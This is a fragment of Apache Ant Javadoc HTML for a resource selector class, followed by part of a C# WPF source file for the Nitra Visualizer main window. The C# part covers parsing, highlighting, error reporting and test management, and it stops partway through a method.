<a name="isSelected(org.apache.tools.ant.types.Resource)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>isSelected</h4>
<pre>public boolean isSelected(<a href="../../../../../../../org/apache/tools/ant/types/Resource.html" title="class in org.apache.tools.ant.types">Resource</a> r)</pre>
<div class="block">Return true if this Resource is selected.</div>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/ResourceSelector.html#isSelected(org.apache.tools.ant.types.Resource)">isSelected</a></code> in interface <code><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/ResourceSelector.html" title="interface in org.apache.tools.ant.types.resources.selectors">ResourceSelector</a></code></dd>
<dt><span class="strong">Parameters:</span></dt><dd><code>r</code> - the Resource to check.</dd>
<dt><span class="strong">Returns:</span></dt><dd>whether the Resource was selected.</dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code><a href="../../../../../../../org/apache/tools/ant/BuildException.html" title="class in org.apache.tools.ant">BuildException</a></code> - if an error occurs.</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/Exists.html" title="class in org.apache.tools.ant.types.resources.selectors"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/Majority.html" title="class in org.apache.tools.ant.types.resources.selectors"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../index.html?org/apache/tools/ant/types/resources/selectors/InstanceOf.html" target="_top">Frames</a></li>
<li><a href="InstanceOf.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
using Common;
using ICSharpCode.AvalonEdit.AddIn;
using ICSharpCode.AvalonEdit.CodeCompletion;
using ICSharpCode.AvalonEdit.Document;
using ICSharpCode.AvalonEdit.Folding;
using ICSharpCode.AvalonEdit.Highlighting;
using ICSharpCode.SharpDevelop.Editor;
using Nemerle.Diff;
using Nitra.Declarations;
using Nitra.Runtime.Reflection;
using Nitra.ViewModels;
using Nitra.Visualizer.Properties;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using System.Timers;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Threading;
using Nitra.Visualizer.Controls;
using Microsoft.VisualBasic.FileIO;
using Nitra.ProjectSystem;
using Nitra.Runtime.Highlighting;
using Clipboard = System.Windows.Clipboard;
using ContextMenu = System.Windows.Controls.ContextMenu;
using Control = System.Windows.Controls.Control;
using DataFormats = System.Windows.DataFormats;
using File = System.IO.File;
using KeyEventArgs = System.Windows.Input.KeyEventArgs;
using MenuItem = System.Windows.Controls.MenuItem;
using MessageBox = System.Windows.MessageBox;
using MouseEventArgs = System.Windows.Input.MouseEventArgs;
using Timer = System.Timers.Timer;
using ToolTip = System.Windows.Controls.ToolTip;
namespace Nitra.Visualizer
{
using System.Windows.Documents;
using Interop;
using System.Windows.Interop;
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow
{
bool _loading = true;
IParseResult _parseResult;
bool _doTreeOperation;
bool _doChangeCaretPos;
readonly Timer _parseTimer;
readonly Dictionary<string, HighlightingColor> _highlightingStyles;
readonly TextMarkerService _textMarkerService;
readonly NitraFoldingStrategy _foldingStrategy;
readonly FoldingManager _foldingManager;
readonly ToolTip _textBox1Tooltip;
bool _needUpdateReflection;
bool _needUpdateHtmlPrettyPrint;
bool _needUpdateTextPrettyPrint;
ParseTree _parseTree;
readonly Settings _settings;
private SolutionVm _solution;
private TestSuiteVm _currentTestSuite;
private TestFolderVm _currentTestFolder;
private TestVm _currentTest;
private readonly PependentPropertyGrid _propertyGrid;
private readonly MatchBracketsWalker _matchBracketsWalker = new MatchBracketsWalker();
private readonly List<ITextMarker> _matchedBracketsMarkers = new List<ITextMarker>();
private List<MatchBracketsWalker.MatchBrackets> _matchedBrackets;
private const string ErrorMarkerTag = "Error";
public MainWindow()
{
_settings = Settings.Default;
_highlightingStyles = new Dictionary<string, HighlightingColor>(StringComparer.OrdinalIgnoreCase);
ToolTipService.ShowDurationProperty.OverrideMetadata(
typeof(DependencyObject),
new FrameworkPropertyMetadata(Int32.MaxValue));
InitializeComponent();
_mainRow.Height = new GridLength(_settings.TabControlHeight);
_configComboBox.ItemsSource = new[] {"Debug", "Release"};
var config = _settings.Config;
_configComboBox.SelectedItem = config == "Release" ? "Release" : "Debug";
_tabControl.SelectedIndex = _settings.ActiveTabIndex;
_foldingStrategy = new NitraFoldingStrategy();
_textBox1Tooltip = new ToolTip { PlacementTarget = _text };
_parseTimer = new Timer { AutoReset = false, Enabled = false, Interval = 300 };
_parseTimer.Elapsed += _parseTimer_Elapsed;
_text.TextArea.Caret.PositionChanged += Caret_PositionChanged;
_foldingManager = FoldingManager.Install(_text.TextArea);
_textMarkerService = new TextMarkerService(_text.Document);
_text.TextArea.TextView.BackgroundRenderers.Add(_textMarkerService);
_text.TextArea.TextView.LineTransformers.Add(_textMarkerService);
_text.Options.ConvertTabsToSpaces = true;
_text.Options.EnableRectangularSelection = true;
_text.Options.IndentationSize = 2;
_testsTreeView.SelectedValuePath = "FullPath";
_propertyGrid = new PependentPropertyGrid();
_windowsFormsHost.Child = _propertyGrid;
if (string.IsNullOrWhiteSpace(_settings.CurrentSolution))
_solution = null;
else
LoadTests();
}
private void Window_Loaded(object sender, RoutedEventArgs e)
{
_loading = false;
if ((Keyboard.Modifiers & (ModifierKeys.Shift | ModifierKeys.Control)) != 0)
return;
if (_solution != null)
SelectTest(_settings.SelectedTestSuite, _settings.SelectedTest, _settings.SelectedTestFolder);
}
protected override void OnSourceInitialized(EventArgs e)
{
base.OnSourceInitialized(e);
this.SetPlacement(_settings.MainWindowPlacement);
}
private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
_settings.MainWindowPlacement = this.GetPlacement();
_settings.Config = (string)_configComboBox.SelectedValue;
_settings.TabControlHeight = _mainRow.Height.Value;
_settings.LastTextInput = _text.Text;
_settings.ActiveTabIndex = _tabControl.SelectedIndex;
SaveSelectedTestAndTestSuite();
_settings.Save();
}
void SetPlacement(string placementXml)
{
var helper = new WindowInteropHelper(this);
var handle = helper.Handle;
WindowPlacement.SetPlacement(handle, placementXml);
}
string GetPlacement()
{
var helper = new WindowInteropHelper(this);
var handle = helper.Handle;
return WindowPlacement.GetPlacement(handle);
}
private void SaveSelectedTestAndTestSuite()
{
if (_currentTestSuite != null)
{
_settings.SelectedTestSuite = _currentTestSuite.TestSuitePath;
var test = _testsTreeView.SelectedItem as TestVm;
_settings.SelectedTest = test == null ? null : test.Name;
var testFolder = test == null ? null : test.Parent as TestFolderVm;
_settings.SelectedTestFolder = testFolder == null ? null : testFolder.Name;
}
if (_solution != null && _solution.IsDirty)
_solution.Save();
}
private void LoadTests()
{
var selected = _testsTreeView.SelectedItem as FullPathVm;
var selectedPath = selected == null ? null : selected.FullPath;
if (!File.Exists(_settings.CurrentSolution ?? ""))
{
MessageBox.Show(this, "Solution '" + _settings.CurrentSolution + "' not exists!");
return;
}
_solution = new SolutionVm(_settings.CurrentSolution, selectedPath, _settings.Config);
this.Title = _solution.Name + " - " + Constants.AppName;
_testsTreeView.ItemsSource = _solution.TestSuites;
}
private void textBox1_GotFocus(object sender, RoutedEventArgs e)
{
ShowNodeForCaret();
}
void Caret_PositionChanged(object sender, EventArgs e)
{
var caretPos = _text.CaretOffset;
_pos.Text = caretPos.ToString(CultureInfo.InvariantCulture);
TryHighlightBraces(caretPos);
ShowNodeForCaret();
}
private void TryHighlightBraces(int caretPos)
{
if (_parseResult == null)
return;
if (_matchedBracketsMarkers.Count > 0)
{
foreach (var marker in _matchedBracketsMarkers)
_textMarkerService.Remove(marker);
_matchedBracketsMarkers.Clear();
}
var context = new MatchBracketsWalker.Context(caretPos);
_matchBracketsWalker.Walk(_parseResult, context);
_matchedBrackets = context.Brackets;
if (context.Brackets != null)
{
foreach (MatchBracketsWalker.MatchBrackets bracket in context.Brackets)
{
var marker1 = _textMarkerService.Create(bracket.OpenBracket.StartPos, bracket.OpenBracket.Length);
marker1.BackgroundColor = Colors.LightGray;
_matchedBracketsMarkers.Add(marker1);
var marker2 = _textMarkerService.Create(bracket.CloseBracket.StartPos, bracket.CloseBracket.Length);
marker2.BackgroundColor = Colors.LightGray;
_matchedBracketsMarkers.Add(marker2);
}
}
}
private void ShowNodeForCaret()
{
if (_doTreeOperation)
return;
_doChangeCaretPos = true;
try
{
if (object.ReferenceEquals(_tabControl.SelectedItem, _astReflectionTabItem))
ShowAstNodeForCaret();
else if (object.ReferenceEquals(_tabControl.SelectedItem, _reflectionTabItem))
ShowParseTreeNodeForCaret();
}
finally
{
_doChangeCaretPos = false;
}
}
private void ShowAstNodeForCaret()
{
if (_declarationsTreeView.IsKeyboardFocusWithin)
return;
if (_declarationsTreeView.Items.Count < 1)
return;
Debug.Assert(_declarationsTreeView.Items.Count == 1);
var result = FindNode((TreeViewItem)_declarationsTreeView.Items[0], _text.CaretOffset);
if (result == null)
return;
result.IsSelected = true;
result.BringIntoView();
}
private TreeViewItem FindNode(TreeViewItem item, int pos, List<NSpan> checkedSpans = null)
{
checkedSpans = checkedSpans ?? new List<NSpan>();
var ast = item.Tag as IAst;
if (ast == null)
return null;
// check for circular dependency
for (var i = 0; i < checkedSpans.Count; i++) {
// if current span was previously checked
if (ast.Span == checkedSpans[i]) {
// and it's not a topmost span
for (var k = i; k < checkedSpans.Count; k++)
if (ast.Span != checkedSpans[k])
// Stop FindNode recursion
return item;
break;
}
}
checkedSpans.Add(ast.Span);
if (ast.Span.IntersectsWith(pos))
{
item.IsExpanded = true;
foreach (TreeViewItem subItem in item.Items)
{
var result = FindNode(subItem, pos, checkedSpans);
if (result != null)
return result;
}
return item;
}
return null;
}
private void ShowParseTreeNodeForCaret()
{
if (_reflectionTreeView.ItemsSource == null)
return;
if (_reflectionTreeView.IsKeyboardFocusWithin)
return;
var node = FindNode((ReflectionStruct[])_reflectionTreeView.ItemsSource, _text.CaretOffset);
if (node != null)
{
var selected = _reflectionTreeView.SelectedItem as ReflectionStruct;
if (node == selected)
return;
_reflectionTreeView.SelectedItem = node;
_reflectionTreeView.BringIntoView(node);
}
}
private ReflectionStruct FindNode(IEnumerable<ReflectionStruct> items, int p)
{
foreach (ReflectionStruct node in items)
{
if (node.Span.StartPos <= p && p < node.Span.EndPos) // IntersectsWith(p) includes EndPos
{
if (node.Children.Count == 0)
return node;
_reflectionTreeView.Expand(node);
return FindNode(node.Children, p);
}
}
return null;
}
private void TryReportError()
{
if (_parseResult == null)
if (_currentTestSuite.Exception != null)
{
var msg = "Exception: " + _currentTestSuite.Exception.Message;
_status.Text = msg;
var errorNode = new TreeViewItem();
errorNode.Header = "(1,1): " + msg;
errorNode.Tag = _currentTestSuite.Exception;
errorNode.MouseDoubleClick += errorNode_MouseDoubleClick;
_errorsTreeView.Items.Add(errorNode);
var marker = _textMarkerService.Create(0, _text.Text.Length);
marker.Tag = ErrorMarkerTag;
marker.MarkerType = TextMarkerType.SquigglyUnderline;
marker.MarkerColor = Colors.Purple;
marker.ToolTip = msg;
}
else
_status.Text = "Not parsed!";
else
{
var cmpilerMessages = new List<CompilerMessage>();
var errorNodes = _errorsTreeView.Items;
var currFile = _currentTest.File;
if (_currentTestFolder != null)
foreach (var test in _currentTestFolder.Tests)
cmpilerMessages.AddRange(test.File.GetCompilerMessages());
else
cmpilerMessages.AddRange(_currentTest.File.GetCompilerMessages());
cmpilerMessages.Sort();
foreach (var message in cmpilerMessages)
{
var text = message.Text;
var location = message.Location;
var file = location.Source.File;
if (currFile == file)
{
var marker = _textMarkerService.Create(location.StartPos, location.Length);
marker.Tag = ErrorMarkerTag;
marker.MarkerType = TextMarkerType.SquigglyUnderline;
Color color = Colors.Red;
if (message.Type == CompilerMessageType.Warning) color = Colors.Orange;
else if (message.Type == CompilerMessageType.Hint) color = Colors.ForestGreen;
marker.MarkerColor = color;
marker.ToolTip = text;
}
var errorNode = new TreeViewItem();
errorNode.Header = Path.GetFileNameWithoutExtension(file.FullName) + "(" + message.Location.StartLineColumn + "): " + text;
errorNode.Tag = message;
errorNode.MouseDoubleClick += errorNode_MouseDoubleClick;
foreach (var nestedMessage in message.NestedMessages)
{
var nestadErrorNode = new TreeViewItem();
nestadErrorNode.Header = Path.GetFileNameWithoutExtension(file.FullName) + "(" + nestedMessage.Location.StartLineColumn + "): " + nestedMessage.Text;
nestadErrorNode.Tag = nestedMessage;
nestadErrorNode.MouseDoubleClick += errorNode_MouseDoubleClick;
errorNode.Items.Add(nestadErrorNode);
}
errorNodes.Add(errorNode);
}
if (cmpilerMessages.Count == 0)
{
if (_parseResult != null && _parseResult.MainParserFail)
{
var msg = "Grammar is ambiguous! Main parser is fail! This leads to reduction performance. The caret set to fail position (" + _parseResult.MaxFailPos + ").";
var errorNode = new TreeViewItem();
var doc = _text.Document;
var pos = doc.GetLocation(_parseResult.MaxFailPos);
errorNode.Header = Path.GetFileNameWithoutExtension(currFile.FullName) + "(" + pos.Line + "," + pos.Column + "): " + msg;
errorNode.Foreground = Brushes.DarkCyan;
errorNode.Tag = new CompilerMessage(CompilerMessageType.Hint, Guid.Empty, new Location(_parseResult.SourceSnapshot, _parseResult.MaxFailPos), msg, -1, null);
errorNode.MouseDoubleClick += errorNode_MouseDoubleClick;
errorNodes.Add(errorNode);
_status.Text = msg;
//_text.TextArea.Caret.Offset = _parseResult.MaxFailPos;
}
else
_status.Text = "OK";
}
else
_status.Text = cmpilerMessages.Count + " error[s]";
}
}
void errorNode_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
var node = (TreeViewItem)sender;
if (!node.IsSelected)
return;
var error = (CompilerMessage)node.Tag;
SelectText(error.Location);
e.Handled = true;
_text.Focus();
}
void ShowInfo()
{
_needUpdateReflection = true;
_needUpdateHtmlPrettyPrint = true;
_needUpdateTextPrettyPrint = true;
_parseTree = null;
UpdateInfo();
}
void UpdateInfo()
{
try
{
if (_needUpdateReflection && object.ReferenceEquals(_tabControl.SelectedItem, _reflectionTabItem))
UpdateReflection();
else if (_needUpdateHtmlPrettyPrint && object.ReferenceEquals(_tabControl.SelectedItem, _htmlPrettyPrintTabItem))
UpdateHtmlPrettyPrint();
else if (_needUpdateTextPrettyPrint && object.ReferenceEquals(_tabControl.SelectedItem, _textPrettyPrintTabItem))
UpdateTextPrettyPrint();
UpdateDeclarations();
}
catch(Exception e)
{
Debug.Write(e);
}
}
private void UpdateReflection()
{
_needUpdateReflection = false;
if (_parseResult == null)
return;
var root = _parseResult.Reflect();
_reflectionTreeView.ItemsSource = new[] { root };
}
private void UpdateHtmlPrettyPrint()
{
_needUpdateHtmlPrettyPrint = false;
if (_parseResult == null)
return;
if (_parseTree == null)
_parseTree = _parseResult.CreateParseTree();
var htmlWriter = new HtmlPrettyPrintWriter(PrettyPrintOptions.DebugIndent | PrettyPrintOptions.MissingNodes, "missing", "debug", "garbage");
_parseTree.PrettyPrint(htmlWriter, 0, null);
var spanStyles = new StringBuilder();
foreach (var style in _highlightingStyles)
{
var brush = style.Value.Foreground as SimpleHighlightingBrush;
if (brush == null)
continue;
var color = brush.Brush.Color;
spanStyles.Append('.').Append(style.Key.Replace('.', '-')).Append("{color:rgb(").Append(color.R).Append(',').Append(color.G).Append(',').Append(color.B).AppendLine(");}");
}
var html = Properties.Resources.PrettyPrintDoughnut.Replace("{spanclasses}", spanStyles.ToString()).Replace("{prettyprint}", htmlWriter.ToString());
prettyPrintViewer.NavigateToString(html);
}
private void UpdateTextPrettyPrint()
{
_needUpdateTextPrettyPrint = false;
if (_parseResult == null)
return;
if (_parseTree == null)
_parseTree = _parseResult.CreateParseTree();
_prettyPrintTextBox.Text = _parseTree.ToString(PrettyPrintOptions.DebugIndent | PrettyPrintOptions.MissingNodes);
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
if (_loading)
return;
_parseResult = null; // prevent calculations on outdated ParseResult
_parseTimer.Stop();
_textBox1Tooltip.IsOpen = false;
_parseTimer.Start();
}
private void textBox1_LostFocus(object sender, RoutedEventArgs e)
{
_text.TextArea.Caret.Show();
}
private void MenuItem_Click(object sender, RoutedEventArgs e)
{
this.Close();
}
void _parseTimer_Elapsed(object sender, ElapsedEventArgs e)
{
Reparse();
}
private RecoveryAlgorithm GetRecoveryAlgorithm()
{
if (_recoveryAlgorithmSmart.IsChecked == true)
return RecoveryAlgorithm.Smart;
if (_recoveryAlgorithmPanic.IsChecked == true)
return RecoveryAlgorithm.Panic;
if (_recoveryAlgorithmFirstError.IsChecked == true)
return RecoveryAlgorithm.FirstError;
return RecoveryAlgorithm.Smart;
}
private void DoParse()
{
if (_doTreeOperation)
return;
_astRoot = null;
_parseResult = null;
if (_currentTestSuite == null || _currentTest == null)
return;
try
{
ClearAll();
_currentTest.Code = _text.Text;
_currentTest.Run(GetRecoveryAlgorithm());
_performanceTreeView.ItemsSource = new[] { (_currentTest.Statistics ?? _currentTestFolder.Statistics) };
if (_currentTest.File.HasAst)
{
_astRoot = _currentTest.File.Ast;
}
_parseResult = _currentTest.File.ParseResult;
_foldingStrategy.ParseResult = _parseResult;
_foldingStrategy.UpdateFoldings(_foldingManager, _text.Document);
TryHighlightBraces(_text.CaretOffset);
TryReportError();
ShowInfo();
_text.TextArea.TextView.Redraw(DispatcherPriority.Input);
}
catch (Exception ex)
{
ClearMarkers();
MessageBox.Show(this, ex.GetType().Name + ":" + ex.Message);
Debug.WriteLine(ex.ToString());
}
}
private void ClearAll()
{
ClearMarkers();
_parseResult = null;
_declarationsTreeView.Items.Clear();
_matchedBracketsMarkers.Clear();
_recoveryTreeView.Items.Clear();
_errorsTreeView.Items.Clear();
_reflectionTreeView.ItemsSource = null;
}
private void ClearMarkers()
{
_textMarkerService.RemoveAll(marker => marker.Tag == (object)ErrorMarkerTag);
}
private class CollectSymbolsAstVisitor : IAstVisitor
{
private readonly NSpan _span;
public List<SpanInfo> SpanInfos { get; private set; }
public CollectSymbolsAstVisitor(NSpan span) { _span = span; SpanInfos = new List<SpanInfo>(); }
public void Visit(IAst parseTree)
{
if (parseTree.Span.IntersectsWith(_span))
parseTree.Accept(this);
}
public void Visit(Name name)
{
var span = name.Span;
if (!span.IntersectsWith(_span) || !name.IsSymbolEvaluated)
return;
var sym = name.Symbol;
var spanClass = sym.SpanClass;
if (spanClass == Nitra.Language.DefaultSpanClass)
return;
SpanInfos.Add(new SpanInfo(span, spanClass));
}
public void Visit(Reference reference)
{
var span = reference.Span;
if (!span.IntersectsWith(_span) || !reference.IsRefEvaluated)
return;
IRef r = reference.Ref;
while (r.IsResolvedToEvaluated)
r = r.ResolvedTo;
var spanClass = r.SpanClass;
if (spanClass == Nitra.Language.DefaultSpanClass)
return;
SpanInfos.Add(new SpanInfo(span, spanClass));
}
public void Visit(IRef r)
{
}
}
private void textBox1_HighlightLine(object sender, HighlightLineEventArgs e)
{
if (_parseResult == null)
return;
try
{
var line = e.Line;
var spans = new HashSet<SpanInfo>();
_parseResult.GetSpans(line.Offset, line.EndOffset, spans);
var astRoot = _astRoot;
if (astRoot != null)
{
var visitor = new CollectSymbolsAstVisitor(new NSpan(line.Offset, line.EndOffset));
astRoot.Accept(visitor);
foreach (var spanInfo in visitor.SpanInfos)
spans.Add(spanInfo);
}
foreach (var span in spans)
{
HighlightingColor color;
if (!_highlightingStyles.TryGetValue(span.SpanClass.FullName, out color))
{
color = MakeHighlightingColor(span.SpanClass);
_highlightingStyles.Add(span.SpanClass.FullName, color);
}
var startOffset = Math.Max(line.Offset, span.Span.StartPos);
var endOffset = Math.Min(line.EndOffset, span.Span.EndPos);
var section = new HighlightedSection
{
Offset = startOffset,
Length = endOffset - startOffset,
Color = color
};
e.Sections.Add(section);
}
}
catch (Exception ex) { Debug.WriteLine(ex.GetType().Name + ":" + ex.Message); }
}
private void textBox1_MouseHover(object sender, MouseEventArgs e)
{
var pos = _text.TextArea.TextView.GetPositionFloor(e.GetPosition(_text.TextArea.TextView) + _text.TextArea.TextView.ScrollOffset);
if (pos.HasValue)
{
var offset = _text.Document.GetOffset(new TextLocation(pos.Value.Line, pos.Value.Column));
var markersAtOffset = _textMarkerService.GetMarkersAtOffset(offset);
var markerWithToolTip = markersAtOffset.FirstOrDefault(marker => marker.ToolTip != null);
if (markerWithToolTip != null)
{
_textBox1Tooltip.Content = markerWithToolTip.ToolTip;
_textBox1Tooltip.IsOpen = true;
}
}
}
private void textBox1_MouseHoverStopped(object sender, MouseEventArgs e)
{
_textBox1Tooltip.IsOpen = false;
}
private void _tabControl_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
UpdateInfo();
ShowNodeForCaret();
}
private void _copyButton_Click(object sender, RoutedEventArgs e)
{
var sb = new StringBuilder();
var stats = ((StatisticsTask.Container[])_performanceTreeView.ItemsSource);
foreach (var stat in stats)
sb.AppendLine(stat.ToString());
var result = sb.ToString();
Clipboard.SetData(DataFormats.Text, result);
Clipboard.SetData(DataFormats.UnicodeText, result);
}
private void CopyReflectionNodeText(object sender, ExecutedRoutedEventArgs e)
{
var value = _reflectionTreeView.SelectedItem as ReflectionStruct;
if (value != null)
{
var result = value.Description;
Clipboard.SetData(DataFormats.Text, result);
Clipboard.SetData(DataFormats.UnicodeText, result);
}
}
bool CheckTestFolder()
{
if (File.Exists(_settings.CurrentSolution ?? ""))
return true;
return false;
}
private void OnAddTest(object sender, ExecutedRoutedEventArgs e)
{
if (CheckTestFolder())
AddTest();
else
MessageBox.Show(this, "Can't add test.", "Error!", MessageBoxButton.OK, MessageBoxImage.Error);
}
private void CommandBinding_CanAddTest(object sender, CanExecuteRoutedEventArgs e)
{
e.CanExecute = _currentTestSuite != null;
e.Handled = true;
}
private void AddTest()
{
if (_currentTestSuite == null)
{
MessageBox.Show(this, "Select a test suite first.", "Error!", MessageBoxButton.OK, MessageBoxImage.Error);
return;
}
if (_needUpdateTextPrettyPrint)
UpdateTextPrettyPrint();
var testSuitePath = _currentTestSuite.TestSuitePath;
var selectedTestFolder = _currentTestFolder == null ? null : _currentTestFolder.Name;
var dialog = new AddTest(TestFullPath(testSuitePath), _text.Text, _prettyPrintTextBox.Text) { Owner = this };
if (dialog.ShowDialog() ?? false)
{
var testName = dialog.TestName;
LoadTests();
SelectTest(testSuitePath, testName, selectedTestFolder);
}
}
private void SelectTest(string testSuitePath, string testName, string selectedTestFolder)
{
if (!CheckTestFolder())
{
MessageBox.Show(this, "The test folder does not exist.", "Error!", MessageBoxButton.OK, MessageBoxImage.Error);
return;
}
var testSuites = (ObservableCollection<TestSuiteVm>) _testsTreeView.ItemsSource;
if (testSuites == null)
return;
var result = (ITestTreeContainerNode)testSuites.FirstOrDefault(ts => ts.FullPath == testSuitePath);
if (result == null)
return;
if (selectedTestFolder != null)
{
var testFolder = result.Children.FirstOrDefault(t => t.Name == selectedTestFolder);
if (testFolder != null)
result = (ITestTreeContainerNode)testFolder;
}
var test = result.Children.FirstOrDefault(t => t.Name == testName);
if (test != null)
{
test.IsSelected = true;
}
else
{
result.IsSelected = true;
}
}
private static string TestFullPath(string path)
{
return Path.GetFullPath(path);
}
private void OnRunTests(object sender, ExecutedRoutedEventArgs e)
{
if (CheckTestFolder())
RunTests();
else
MessageBox.Show(this, "Can't run tests.", "Error!", MessageBoxButton.OK, MessageBoxImage.Error);
}
private void RunTests()
{
if (_testsTreeView.ItemsSource == null)
return;
var testSuites = (ObservableCollection<TestSuiteVm>)_testsTreeView.ItemsSource;
foreach (var testSuite in testSuites)
{
foreach (var test in testSuite.Tests)
RunTest(test);
testSuite.TestStateChanged();
}
}
private void RunTest(ITest test)
{
var testFile = test as TestVm;
if (testFile != null)
RunTest(testFile);
var testFolder = test as TestFolderVm;
if (testFolder != null)
RunTest(testFolder);
}
private void RunTest(TestFolderVm testFolder)
{
foreach (var testFile in testFolder.Tests)
RunTest(testFile);
}
private void RunTest(TestVm test)
{
test.Run(recoveryAlgorithm: GetRecoveryAlgorithm());
ShowDiff(test);
}
private void ShowDiff(TestVm test)
{
_para.Inlines.Clear();
if (test.PrettyPrintResult == null)
{
_para.Inlines.AddRange(new Inline[] { new Run("The test was never started.") { Foreground = Brushes.Gray } });
return;
}
if (test.TestState == TestState.Failure)
{
var lines = Diff(Split(test.Gold), Split(test.PrettyPrintResult));
lines.RemoveAt(0);
lines.RemoveAt(lines.Count - 1);
foreach (var line in lines)
_para.Inlines.AddRange(line);
}
else if (test.TestState == TestState.Success)
_para.Inlines.AddRange(new Inline[] { new Run("Output of the test and the 'gold' are identical.") { Foreground = Brushes.LightGreen } });
}
private static string[] Split(string gold)
{
return gold.Split(new[] { "\r\n", "\n", "\r" }, StringSplitOptions.None);
}
private static List<Inline[]> Diff(string[] textA, string[] textB, int rangeToShow = 3)
{
var indexA = 0;
var output = new List<Inline[]> { MakeLine("BEGIN-DIFF", Brushes.LightGray) };
foreach (var diffItem in textA.Diff(textB))
{
//в начале итерации indexA содержит индекс строки идущей сразу за предыдущим блоком
// определяем нужно ли выводить разделитель
if (diffItem.Index - indexA > rangeToShow * 2)
{
//показываем строки идущие после предыдущего блока
for (var i = 0; i < rangeToShow; ++i)
{
output.Add(MakeLine(textA[indexA]));
++indexA;
}
output.Add(MakeLine("...", Brushes.LightGray));
//показываем строки идущие перед текущим блоком
indexA = diffItem.Index - rangeToShow;
for (var i = 0; i < rangeToShow; ++i)
{
output.Add(MakeLine(textA[indexA]));
++indexA;
}
}
else
{
//показываем строки между блоками
while (indexA < diffItem.Index)
{
output.Add(MakeLine(textA[indexA]));
++indexA;
}
}
// показываем удаленные строки
for (var i = 0; i < diffItem.Deleted; ++i)
{
output.Add(MakeLine(textA[indexA], Brushes.LightPink));
++indexA;
}
// показываем добавленные строки
foreach (var insertedItem in diffItem.Inserted)
output.Add(MakeLine(insertedItem, Brushes.LightGreen));
}
// показываем не более rangeToShow последующих строк
var tailLinesToShow = Math.Min(rangeToShow, textA.Length - indexA);
for (var i = 0; i < tailLinesToShow; ++i)
{
output.Add(MakeLine(textA[indexA]));
++indexA;
}
if (indexA < textA.Length)
output.Add(MakeLine("...", Brushes.LightGray));
output.Add(MakeLine("END-DIFF", Brushes.LightGray));
return output;
}
private static Inline[] MakeLine(string text, Brush brush = null)
{
return new Inline[]
{
brush == null ? new Run(text) : new Run(text) { Background = brush },
new LineBreak()
};
}
private void OnAddTestSuite(object sender, ExecutedRoutedEventArgs e)
{
EditTestSuite(true);
}
private void EditTestSuite(bool create)
{
if (_solution == null)
return;
var currentTestSuite = _currentTestSuite;
var dialog = new TestSuiteDialog(create, currentTestSuite, _settings) { Owner = this };
if (dialog.ShowDialog() ?? false)
{
if (currentTestSuite != null)
_solution.TestSuites.Remove(currentTestSuite);
var testSuite = new TestSuiteVm(_solution, dialog.TestSuiteName, _settings.Config);
testSuite.IsSelected = true;
_solution.Save();
}
}
private void OnRemoveTest(object sender, ExecutedRoutedEventArgs e)
{
var test = _testsTreeView.SelectedItem as ITest;
if (test == null)
return;
if (MessageBox.Show(this, "Do you want to delete the '" + test.Name + "' test?", "Visualizer!", MessageBoxButton.YesNo,
MessageBoxImage.Question, MessageBoxResult.No) != MessageBoxResult.Yes)
return;
Delete();
}
private void CommandBinding_CanRemoveTest(object sender, CanExecuteRoutedEventArgs e)
{
if (_testsTreeView == null)
return;
e.CanExecute = _testsTreeView.SelectedItem is TestVm || _testsTreeView.SelectedItem is TestFolderVm;
e.Handled = true;
}
private void _testsTreeView_SelectedItemChanged(object sender, RoutedPropertyChangedEventArgs<object> e)
{
_loading = true;
try
{
var test = e.NewValue as TestVm;
if (test != null)
{
_parseResult = null;
ChangeCurrentTest(test.TestSuite, test.Parent as TestFolderVm, test, test.Code);
ShowDiff(test);
}
var testFolder = e.NewValue as TestFolderVm;
if (testFolder != null)
{
ClearAll();
ChangeCurrentTest(testFolder.TestSuite, testFolder, null, "");
}
var testSuite = e.NewValue as TestSuiteVm;
if (testSuite != null)
{
ClearAll();
ChangeCurrentTest(testSuite, null, null, "");
_para.Inlines.Clear();
